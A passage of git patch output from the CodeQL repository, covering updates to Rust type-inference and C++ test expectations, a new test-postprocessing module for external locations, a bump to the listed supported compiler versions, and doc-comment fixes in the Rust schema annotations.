file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1561:28:1561:32 | 50i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1563:13:1563:30 | mut i64_shr_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1563:34:1563:38 | 51i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1564:9:1564:22 | i64_shr_assign | | {EXTERNAL LOCATION} | i64 | | main.rs:1564:9:1564:32 | ... >>= ... | | file://:0:0:0:0 | () | -| main.rs:1564:28:1564:32 | 52i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1566:13:1566:19 | i64_neg | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1566:23:1566:28 | - ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1566:24:1566:28 | 53i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1567:13:1567:19 | i64_not | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1567:23:1567:28 | ! ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1567:24:1567:28 | 54i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1564:28:1564:32 | 52i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1566:13:1566:19 | i64_neg | | {EXTERNAL LOCATION} | i64 | +| main.rs:1566:23:1566:28 | - ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1566:24:1566:28 | 53i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1567:13:1567:19 | i64_not | | {EXTERNAL LOCATION} | i64 | +| main.rs:1567:23:1567:28 | ! ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1567:24:1567:28 | 54i64 | | {EXTERNAL LOCATION} | i64 | | main.rs:1570:13:1570:14 | v1 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1570:18:1570:36 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1570:28:1570:28 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1570:28:1570:28 | 1 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1570:34:1570:34 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1570:34:1570:34 | 2 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1570:28:1570:28 | 1 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1570:28:1570:28 | 1 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1570:34:1570:34 | 2 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1570:34:1570:34 | 2 | | {EXTERNAL LOCATION} | i64 | | main.rs:1571:13:1571:14 | v2 | | file://:0:0:0:0 | & | | main.rs:1571:13:1571:14 | v2 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1571:13:1571:14 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1571:18:1571:36 | Vec2 {...} | | file://:0:0:0:0 | & | | main.rs:1571:18:1571:36 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1571:18:1571:36 | Vec2 {...} | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1571:28:1571:28 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1571:28:1571:28 | 3 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1571:34:1571:34 | 4 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1571:34:1571:34 | 4 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1574:13:1574:19 | vec2_eq | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1571:28:1571:28 | 3 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1571:28:1571:28 | 3 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1571:34:1571:34 | 4 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1571:34:1571:34 | 4 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1574:13:1574:19 | vec2_eq | | {EXTERNAL LOCATION} | bool | | main.rs:1574:23:1574:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1574:23:1574:30 | ... == ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1574:23:1574:30 | ... == ... | | {EXTERNAL LOCATION} | bool | | main.rs:1574:29:1574:30 | v2 | | file://:0:0:0:0 | & | | main.rs:1574:29:1574:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1574:29:1574:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1575:13:1575:19 | vec2_ne | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1575:13:1575:19 | vec2_ne | | {EXTERNAL LOCATION} | bool | | main.rs:1575:23:1575:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1575:23:1575:30 | ... != ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1575:23:1575:30 | ... != ... | | {EXTERNAL LOCATION} | bool | | main.rs:1575:29:1575:30 | v2 | | file://:0:0:0:0 | & | | main.rs:1575:29:1575:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1575:29:1575:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1576:13:1576:19 | vec2_lt | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1576:13:1576:19 | vec2_lt | | {EXTERNAL LOCATION} | bool | | main.rs:1576:23:1576:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1576:23:1576:29 | ... < ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1576:23:1576:29 | ... < ... | | {EXTERNAL LOCATION} | bool | | main.rs:1576:28:1576:29 | v2 | | file://:0:0:0:0 | & | | main.rs:1576:28:1576:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1576:28:1576:29 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1577:13:1577:19 | vec2_le | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1577:13:1577:19 | vec2_le | | {EXTERNAL LOCATION} | bool | | main.rs:1577:23:1577:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1577:23:1577:30 | ... <= ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1577:23:1577:30 | ... <= ... | | {EXTERNAL LOCATION} | bool | | main.rs:1577:29:1577:30 | v2 | | file://:0:0:0:0 | & | | main.rs:1577:29:1577:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1577:29:1577:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1578:13:1578:19 | vec2_gt | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1578:13:1578:19 | vec2_gt | | {EXTERNAL LOCATION} | bool | | main.rs:1578:23:1578:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1578:23:1578:29 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1578:23:1578:29 | ... > ... | | {EXTERNAL LOCATION} | bool | | main.rs:1578:28:1578:29 | v2 | | file://:0:0:0:0 | & | | main.rs:1578:28:1578:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1578:28:1578:29 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1579:13:1579:19 | vec2_ge | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1579:13:1579:19 | vec2_ge | | {EXTERNAL LOCATION} | bool | | main.rs:1579:23:1579:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1579:23:1579:30 | ... >= ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1579:23:1579:30 | ... >= ... | | {EXTERNAL LOCATION} | bool | | main.rs:1579:29:1579:30 | v2 | | file://:0:0:0:0 | & | | main.rs:1579:29:1579:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1579:29:1579:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | @@ -2333,11 +2332,11 @@ inferType | main.rs:1608:13:1608:20 | vec2_shl | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1608:24:1608:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1608:24:1608:33 | ... << ... | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1608:30:1608:33 | 1u32 | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1608:30:1608:33 | 1u32 | | {EXTERNAL LOCATION} | u32 | | main.rs:1609:13:1609:20 | vec2_shr | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1609:24:1609:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1609:24:1609:33 | ... >> ... | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1609:30:1609:33 | 1u32 | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1609:30:1609:33 | 1u32 | | {EXTERNAL LOCATION} | u32 | | main.rs:1612:13:1612:34 | mut vec2_bitand_assign | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1612:38:1612:39 | v1 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1613:9:1613:26 | vec2_bitand_assign | | main.rs:1278:5:1283:5 | Vec2 | @@ -2363,12 +2362,12 @@ inferType | main.rs:1621:35:1621:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1622:9:1622:23 | vec2_shl_assign | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1622:9:1622:32 | ... <<= ... | | file://:0:0:0:0 | () | -| main.rs:1622:29:1622:32 | 1u32 | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1622:29:1622:32 | 1u32 | | {EXTERNAL LOCATION} | u32 | | main.rs:1624:13:1624:31 | mut vec2_shr_assign | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1624:35:1624:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1625:9:1625:23 | vec2_shr_assign | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1625:9:1625:32 | ... >>= ... | | file://:0:0:0:0 | () | -| main.rs:1625:29:1625:32 | 1u32 | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1625:29:1625:32 | 1u32 | | {EXTERNAL LOCATION} | u32 | | main.rs:1628:13:1628:20 | vec2_neg | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1628:24:1628:26 | - ... | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1628:25:1628:26 | v1 | | main.rs:1278:5:1283:5 | Vec2 | @@ -2379,3 +2378,4 @@ inferType | main.rs:1636:5:1636:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | | main.rs:1636:20:1636:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | | main.rs:1636:41:1636:59 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +testFailures diff --git a/rust/ql/test/library-tests/type-inference/type-inference.ql b/rust/ql/test/library-tests/type-inference/type-inference.ql index cea5839c6ad..e7c11bcaebf 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.ql +++ b/rust/ql/test/library-tests/type-inference/type-inference.ql @@ -3,22 +3,7 @@ import utils.test.InlineExpectationsTest import codeql.rust.internal.TypeInference as TypeInference import TypeInference -final private class TypeFinal = Type; - -class TypeLoc extends TypeFinal { - predicate hasLocationInfo( - string filepath, int startline, int startcolumn, int endline, int endcolumn - ) { - exists(string file | - this.getLocation().hasLocationInfo(file, startline, startcolumn, endline, endcolumn) and - filepath = - file.regexpReplaceAll("^/.*/tools/builtins/", "/BUILTINS/") - .regexpReplaceAll("^/.*/.rustup/toolchains/[^/]+/", "/RUSTUP_HOME/toolchain/") - ) - } -} - -query predicate inferType(AstNode n, TypePath path, TypeLoc t) { +query predicate inferType(AstNode n, TypePath path, Type t) { t = TypeInference::inferType(n, path) and n.fromSource() and not n.isFromMacroExpansion() diff --git a/rust/ql/test/library-tests/type-inference/type-inference.qlref b/rust/ql/test/library-tests/type-inference/type-inference.qlref new file mode 100644 index 00000000000..03d8a9288aa --- /dev/null +++ b/rust/ql/test/library-tests/type-inference/type-inference.qlref @@ -0,0 +1,2 @@ +query: type-inference.ql +postprocess: utils/test/ExternalLocationPostProcessing.ql \ No newline at end of file diff --git a/shared/util/codeql/util/test/ExternalLocationPostProcessing.qll b/shared/util/codeql/util/test/ExternalLocationPostProcessing.qll new file mode 100644 index 00000000000..2ebd2b45282 --- /dev/null +++ b/shared/util/codeql/util/test/ExternalLocationPostProcessing.qll @@ -0,0 +1,30 @@ +/** + * Provides logic for creating a `@kind test-postprocess` query that converts + * external locations to a special `{EXTERNAL LOCATION}` string. + * + * This is useful for writing tests that use real locations when executed in + * VS Code, but prevents the "Location is outside of test directory" warning + * when executed through `codeql test run`. + */ +module; + +external private predicate queryResults(string relation, int row, int column, string data); + +external private predicate queryRelations(string relation); + +private signature string getSourceLocationPrefixSig(); + +module Make { + query predicate results(string relation, int row, int column, string data) { + exists(string s | queryResults(relation, row, column, s) | + if + not s = "file://" + any(string suffix) or + s = "file://:0:0:0:0" or + s = getSourceLocationPrefix() + any(string suffix) + then data = s + else data = "{EXTERNAL LOCATION}" + ) + } + + query predicate resultRelations(string relation) { queryRelations(relation) } +} diff --git a/shared/util/codeql/util/test/InlineExpectationsTest.qll b/shared/util/codeql/util/test/InlineExpectationsTest.qll index 56ac6ea3227..fbbad8f25b7 100644 --- a/shared/util/codeql/util/test/InlineExpectationsTest.qll +++ b/shared/util/codeql/util/test/InlineExpectationsTest.qll @@ -627,11 +627,11 @@ private string mainResultSet() { result = ["#select", "problems"] } * to be matched. */ module TestPostProcessing { - external predicate queryResults(string relation, int row, int column, string data); + external private predicate queryResults(string relation, int row, int column, string data); - external predicate queryRelations(string relation); + external private predicate queryRelations(string relation); - external predicate queryMetadata(string key, string value); + external private predicate queryMetadata(string key, string value); private string getQueryId() { queryMetadata("id", result) } From 0e34ee18dfb450be9ae009bd5c85c7a4252351e4 Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Tue, 4 Mar 2025 16:22:49 +0100 Subject: [PATCH 155/271] C++: Update expected test results after frontend update --- cpp/ql/test/examples/expressions/PrintAST.expected | 2 +- cpp/ql/test/library-tests/funcdname/funcdname.expected | 2 +- cpp/ql/test/library-tests/funcdname/funcdname.ql | 6 +++++- cpp/ql/test/library-tests/ir/ir/PrintAST.expected | 10 +++++----- cpp/ql/test/library-tests/ir/ir/aliased_ir.expected | 6 +++--- cpp/ql/test/library-tests/ir/ir/raw_ir.expected | 4 ++-- .../ir/range-analysis/SimpleRangeAnalysis_tests.cpp | 4 ++-- .../nontype_instantiations/general/test.expected | 8 ++++---- 8 files changed, 23 insertions(+), 19 deletions(-) diff --git a/cpp/ql/test/examples/expressions/PrintAST.expected b/cpp/ql/test/examples/expressions/PrintAST.expected index 724b109db48..2167ca3f4e5 100644 --- a/cpp/ql/test/examples/expressions/PrintAST.expected +++ b/cpp/ql/test/examples/expressions/PrintAST.expected @@ -324,7 +324,7 @@ Conversion3.cpp: # 2| getExpr(): [CStyleCast] (int)... # 2| Conversion = [IntegralConversion] integral conversion # 2| Type = [IntType] int -# 2| Value = [CStyleCast] 1 +# 2| Value = [CStyleCast] 5 # 2| ValueCategory = prvalue # 2| getRightOperand().getFullyConverted(): [ParenthesisExpr] (...) # 2| Type = [IntType] int diff --git a/cpp/ql/test/library-tests/funcdname/funcdname.expected b/cpp/ql/test/library-tests/funcdname/funcdname.expected index 7564b54bff1..670b77b8a6b 100644 --- a/cpp/ql/test/library-tests/funcdname/funcdname.expected +++ b/cpp/ql/test/library-tests/funcdname/funcdname.expected @@ -1,2 +1,2 @@ | Bar::(unnamed namespace)::B | Bar::::B | -| Foo::(unnamed namespace)::A | _ZN3Foo37_GLOBAL__N__13_funcdname_cpp_?AEv | +| Foo::(unnamed namespace)::A | _ZN35_INTERNAL_13_funcdname_cpp_?Foo37_GLOBAL__N__13_funcdname_cpp_?AEv | diff --git a/cpp/ql/test/library-tests/funcdname/funcdname.ql b/cpp/ql/test/library-tests/funcdname/funcdname.ql index 08026d75e59..f3f34005ff6 100644 --- a/cpp/ql/test/library-tests/funcdname/funcdname.ql +++ b/cpp/ql/test/library-tests/funcdname/funcdname.ql @@ -2,4 +2,8 @@ import cpp from Function f, ReturnStmt r where r.getEnclosingFunction() = f -select f.getQualifiedName(), r.getExpr().getValue().regexpReplaceAll("_[0-9a-f]+AEv$", "_?AEv") +select f.getQualifiedName(), + r.getExpr() + .getValue() + .regexpReplaceAll("_[0-9a-f]+AEv$", "_?AEv") + .regexpReplaceAll("cpp_[0-9a-f]+Foo37_", "cpp_?Foo37_") diff --git a/cpp/ql/test/library-tests/ir/ir/PrintAST.expected b/cpp/ql/test/library-tests/ir/ir/PrintAST.expected index 8d36ea7f952..0b825a0a855 100644 --- a/cpp/ql/test/library-tests/ir/ir/PrintAST.expected +++ b/cpp/ql/test/library-tests/ir/ir/PrintAST.expected @@ -23814,11 +23814,11 @@ ir.cpp: # 2692| Conversion = [IntegralConversion] integral conversion # 2692| Type = [LongType] unsigned long # 2692| ValueCategory = prvalue -#-----| getExpr().getFullyConverted(): [CStyleCast] (int)... -#-----| Conversion = [IntegralConversion] integral conversion -#-----| Type = [IntType] int -#-----| Value = [CStyleCast] 1 -#-----| ValueCategory = prvalue +# 2692| getExpr().getFullyConverted(): [CStyleCast] (int)... +# 2692| Conversion = [IntegralConversion] integral conversion +# 2692| Type = [IntType] int +# 2692| Value = [CStyleCast] 1 +# 2692| ValueCategory = prvalue # 2693| getStmt(1): [ReturnStmt] return ... # 2693| getExpr(): [VariableAccess] y # 2693| Type = [IntType] int diff --git a/cpp/ql/test/library-tests/ir/ir/aliased_ir.expected b/cpp/ql/test/library-tests/ir/ir/aliased_ir.expected index b95e1b231d8..20d593e2379 100644 --- a/cpp/ql/test/library-tests/ir/ir/aliased_ir.expected +++ b/cpp/ql/test/library-tests/ir/ir/aliased_ir.expected @@ -19457,11 +19457,11 @@ ir.cpp: # 2691| m2691_3(unknown) = InitializeNonLocal : # 2691| m2691_4(unknown) = Chi : total:m2691_2, partial:m2691_3 # 2692| r2692_1(glval) = VariableAddress[y] : -#-----| r0_1(int) = Constant[1] : -#-----| m0_2(int) = Store[y] : &:r2692_1, r0_1 +# 2692| r2692_2(int) = Constant[1] : +# 2692| m2692_3(int) = Store[y] : &:r2692_1, r2692_2 # 2693| r2693_1(glval) = VariableAddress[#return] : # 2693| r2693_2(glval) = VariableAddress[y] : -# 2693| r2693_3(int) = Load[y] : &:r2693_2, m0_2 +# 2693| r2693_3(int) = Load[y] : &:r2693_2, m2692_3 # 2693| m2693_4(int) = Store[#return] : &:r2693_1, r2693_3 # 2691| r2691_5(glval) = VariableAddress[#return] : # 2691| v2691_6(void) = ReturnValue : &:r2691_5, m2693_4 diff --git a/cpp/ql/test/library-tests/ir/ir/raw_ir.expected b/cpp/ql/test/library-tests/ir/ir/raw_ir.expected index cf8d638e495..11d74a2a26b 100644 --- a/cpp/ql/test/library-tests/ir/ir/raw_ir.expected +++ b/cpp/ql/test/library-tests/ir/ir/raw_ir.expected @@ -17775,8 +17775,8 @@ ir.cpp: # 2691| mu2691_2(unknown) = AliasedDefinition : # 2691| mu2691_3(unknown) = InitializeNonLocal : # 2692| r2692_1(glval) = VariableAddress[y] : -#-----| r0_1(int) = Constant[1] : -#-----| mu0_2(int) = Store[y] : &:r2692_1, r0_1 +# 2692| r2692_2(int) = Constant[1] : +# 2692| mu2692_3(int) = Store[y] : &:r2692_1, r2692_2 # 2693| r2693_1(glval) = VariableAddress[#return] : # 2693| r2693_2(glval) = VariableAddress[y] : # 2693| r2693_3(int) = Load[y] : &:r2693_2, ~m? diff --git a/cpp/ql/test/library-tests/ir/range-analysis/SimpleRangeAnalysis_tests.cpp b/cpp/ql/test/library-tests/ir/range-analysis/SimpleRangeAnalysis_tests.cpp index 7b359a046d8..649d99a7575 100644 --- a/cpp/ql/test/library-tests/ir/range-analysis/SimpleRangeAnalysis_tests.cpp +++ b/cpp/ql/test/library-tests/ir/range-analysis/SimpleRangeAnalysis_tests.cpp @@ -1011,10 +1011,10 @@ void test_overflow() { range(x); // $ range===2147483647 const int y = 256; range(y); // $ range===256 - if ((x + y) <= 512) { + if ((x + y) <= 512) { // $ overflow=+ range(x); // $ range===2147483647 range(y); // $ range===256 - range(x + y); // $ range===-2147483393 + range(x + y); // $ range=<=2147483903 overflow=+ } } diff --git a/cpp/ql/test/library-tests/templates/nontype_instantiations/general/test.expected b/cpp/ql/test/library-tests/templates/nontype_instantiations/general/test.expected index c4b76a9d2fc..47aa18f9a5b 100644 --- a/cpp/ql/test/library-tests/templates/nontype_instantiations/general/test.expected +++ b/cpp/ql/test/library-tests/templates/nontype_instantiations/general/test.expected @@ -1,13 +1,13 @@ -| test.cpp:3:8:3:8 | C<1> | 0 | int | test.cpp:5:25:5:25 | 1 | 1 | -| test.cpp:3:8:3:8 | C<2> | 0 | int | file://:0:0:0:0 | 2 | 2 | +| test.cpp:3:8:3:8 | C<1> | 0 | int | test.cpp:6:3:6:6 | one1 | 1 | +| test.cpp:3:8:3:8 | C<2> | 0 | int | test.cpp:7:3:7:13 | ... + ... | 2 | | test.cpp:3:8:3:8 | C | 0 | int | file://:0:0:0:0 | x | x | | test.cpp:10:8:10:8 | D | 0 | | test.cpp:9:19:9:19 | T | | | test.cpp:10:8:10:8 | D | 1 | T | file://:0:0:0:0 | X | X | | test.cpp:10:8:10:8 | D | 0 | | file://:0:0:0:0 | int | | | test.cpp:10:8:10:8 | D | 1 | int | test.cpp:12:8:12:8 | 2 | 2 | | test.cpp:10:8:10:8 | D | 0 | | file://:0:0:0:0 | long | | -| test.cpp:10:8:10:8 | D | 1 | long | file://:0:0:0:0 | 2 | 2 | +| test.cpp:10:8:10:8 | D | 1 | long | test.cpp:13:9:13:9 | 2 | 2 | | test.cpp:16:8:16:8 | E | 0 | | test.cpp:15:19:15:19 | T | | | test.cpp:16:8:16:8 | E | 1 | T * | file://:0:0:0:0 | X | X | | test.cpp:16:8:16:8 | E | 0 | | file://:0:0:0:0 | int | | -| test.cpp:16:8:16:8 | E | 1 | int * | file://:0:0:0:0 | 0 | 0 | +| test.cpp:16:8:16:8 | E | 1 | int * | test.cpp:18:8:18:14 | 0 | 0 | From 129f259f1a5ad7ad5d88e2037a82ce387acb1ec7 Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Thu, 6 Mar 2025 14:05:44 +0100 Subject: [PATCH 156/271] C++: Update supported compiler versions after frontend update --- docs/codeql/reusables/supported-versions-compilers.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/codeql/reusables/supported-versions-compilers.rst b/docs/codeql/reusables/supported-versions-compilers.rst index 8970f31308e..e85bc5d70f2 100644 --- a/docs/codeql/reusables/supported-versions-compilers.rst +++ b/docs/codeql/reusables/supported-versions-compilers.rst @@ -4,9 +4,9 @@ :stub-columns: 1 Language,Variants,Compilers,Extensions - C/C++,"C89, C99, C11, C17, C23, C++98, C++03, C++11, C++14, C++17, C++20, C++23 [1]_ [2]_ [3]_","Clang (including clang-cl [4]_ and armclang) extensions (up to Clang 17.0), + C/C++,"C89, C99, C11, C17, C23, C++98, C++03, C++11, C++14, C++17, C++20, C++23 [1]_ [2]_ [3]_","Clang (including clang-cl [4]_ and armclang) extensions (up to Clang 19.1.0), - GNU extensions (up to GCC 13.2), + GNU extensions (up to GCC 15.0), Microsoft extensions (up to VS 2022), From 7a13c981b835da57b59db63447440f4b78fad685 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Wed, 4 Jun 2025 11:01:13 +0200 Subject: [PATCH 157/271] Rust: address comments --- rust/schema/annotations.py | 18 ++++++++---------- 1 file changed, 8 insertions(+), 10 deletions(-) diff --git a/rust/schema/annotations.py b/rust/schema/annotations.py index 98245cd24a4..c6ab581d7ca 100644 --- a/rust/schema/annotations.py +++ b/rust/schema/annotations.py @@ -1142,7 +1142,7 @@ class _: @annotate(ForTypeRepr) class _: """ - A higher-ranked trait bound(HRTB) type. + A higher-ranked trait bound. For example: ```rust @@ -1354,7 +1354,6 @@ class _: For example: ```rust println!("Hello, world!"); - //^^^^^^^ ``` """ macro_call_expansion: optional[AstNode] | child | rust.detach @@ -1495,7 +1494,7 @@ class _: For example: ```rust - foo(); + foo(); //^^^ ``` """ @@ -1549,7 +1548,6 @@ class _: For example: ```rust (x + y) - //^^^^^ ``` """ @@ -1830,7 +1828,7 @@ class _: A Struct. For example: ```rust struct Point { - x: i32, + x: i32, y: i32, } ``` @@ -1848,9 +1846,9 @@ class _: println!("{} {}!", "Hello", "world"); // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ``` - ``` + ```rust macro_rules! foo { ($x:expr) => { $x + 1 }; } - // ^^^^^^^^^^^^^^^^^^^^^^^ + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ``` """ @@ -2028,7 +2026,7 @@ class _: @annotate(UseTree) class _: """ - A `use` tree, ie the part after the `use` keyword in a `use` statement. For example: + A `use` tree, that is, the part after the `use` keyword in a `use` statement. For example: ```rust use std::collections::HashMap; use std::collections::*; @@ -2046,7 +2044,7 @@ class _: For example: ```rust use std::{fs, io}; - // ^^^^^^^ + // ^^^^^^^^ ``` """ @@ -2084,7 +2082,7 @@ class _: For example: ```rust - pub struct S; + pub struct S; //^^^ ``` """ From e87878298e3b93f27f4066f92a0074cae51178a2 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Wed, 4 Jun 2025 11:12:48 +0200 Subject: [PATCH 158/271] Rust: run codegen --- rust/ql/.generated.list | 48 +++++++++---------- .../internal/generated/CfgNodes.qll | 1 - .../lib/codeql/rust/elements/ForTypeRepr.qll | 2 +- .../ql/lib/codeql/rust/elements/MacroCall.qll | 1 - rust/ql/lib/codeql/rust/elements/NameRef.qll | 2 +- .../ql/lib/codeql/rust/elements/ParenExpr.qll | 1 - rust/ql/lib/codeql/rust/elements/Struct.qll | 2 +- .../ql/lib/codeql/rust/elements/TokenTree.qll | 4 +- rust/ql/lib/codeql/rust/elements/UseTree.qll | 2 +- .../lib/codeql/rust/elements/UseTreeList.qll | 2 +- .../lib/codeql/rust/elements/Visibility.qll | 2 +- .../elements/internal/ForTypeReprImpl.qll | 2 +- .../rust/elements/internal/MacroCallImpl.qll | 1 - .../rust/elements/internal/NameRefImpl.qll | 2 +- .../rust/elements/internal/ParenExprImpl.qll | 1 - .../rust/elements/internal/StructImpl.qll | 2 +- .../rust/elements/internal/TokenTreeImpl.qll | 4 +- .../rust/elements/internal/UseTreeImpl.qll | 2 +- .../elements/internal/UseTreeListImpl.qll | 2 +- .../rust/elements/internal/VisibilityImpl.qll | 2 +- .../internal/generated/ForTypeRepr.qll | 2 +- .../elements/internal/generated/MacroCall.qll | 1 - .../elements/internal/generated/NameRef.qll | 2 +- .../elements/internal/generated/ParenExpr.qll | 1 - .../rust/elements/internal/generated/Raw.qll | 18 ++++--- .../elements/internal/generated/Struct.qll | 2 +- .../elements/internal/generated/TokenTree.qll | 4 +- .../elements/internal/generated/UseTree.qll | 2 +- .../internal/generated/UseTreeList.qll | 2 +- .../internal/generated/Visibility.qll | 2 +- .../generated/.generated_tests.list | 18 +++---- .../ForTypeRepr/gen_for_type_repr.rs | 2 +- .../generated/MacroCall/gen_macro_call.rs | 1 - .../generated/NameRef/gen_name_ref.rs | 2 +- .../generated/ParenExpr/gen_paren_expr.rs | 1 - .../generated/Struct/gen_struct.rs | 2 +- .../generated/TokenTree/gen_token_tree.rs | 2 +- .../generated/UseTree/gen_use_tree.rs | 2 +- .../UseTreeList/gen_use_tree_list.rs | 2 +- .../generated/Visibility/gen_visibility.rs | 2 +- 40 files changed, 72 insertions(+), 83 deletions(-) diff --git a/rust/ql/.generated.list b/rust/ql/.generated.list index 73404b396b2..eb60dccb3e6 100644 --- a/rust/ql/.generated.list +++ b/rust/ql/.generated.list @@ -1,4 +1,4 @@ -lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll 5a615bdde6f762f7c2e5f656aa1e57c74ada74f395e55114813b814358f5f395 864c33513287252507829e258bface3d53e1aa4398e841ce1c81c803dc7ba3f5 +lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll bd01b4d17625ee8c0da93231cf2291deb7e57db2c8aaa2c37968553c3144c47e 6e6ac58e09b84d02f461699a25ee80798a1bdc51c1836d9d75f5b52e93ae7ba6 lib/codeql/rust/elements/Abi.qll 485a2e79f6f7bfd1c02a6e795a71e62dede3c3e150149d5f8f18b761253b7208 6159ba175e7ead0dd2e3f2788f49516c306ee11b1a443bd4bdc00b7017d559bd lib/codeql/rust/elements/Addressable.qll 13011bfd2e1556694c3d440cc34af8527da4df49ad92b62f2939d3699ff2cea5 ddb25935f7553a1a384b1abe2e4b4fa90ab50b952dadec32fd867afcb054f4be lib/codeql/rust/elements/ArgList.qll 3d2f6f5542340b80a4c6e944ac17aba0d00727588bb66e501453ac0f80c82f83 afd52700bf5a337f19827846667cd0fb1fea5abbbcbc353828e292a727ea58c9 @@ -57,7 +57,7 @@ lib/codeql/rust/elements/FieldExpr.qll 8102cd659f9059cf6af2a22033cfcd2aae9c35204 lib/codeql/rust/elements/FieldList.qll 72f3eace2f0c0600b1ad059819ae756f1feccd15562e0449a3f039a680365462 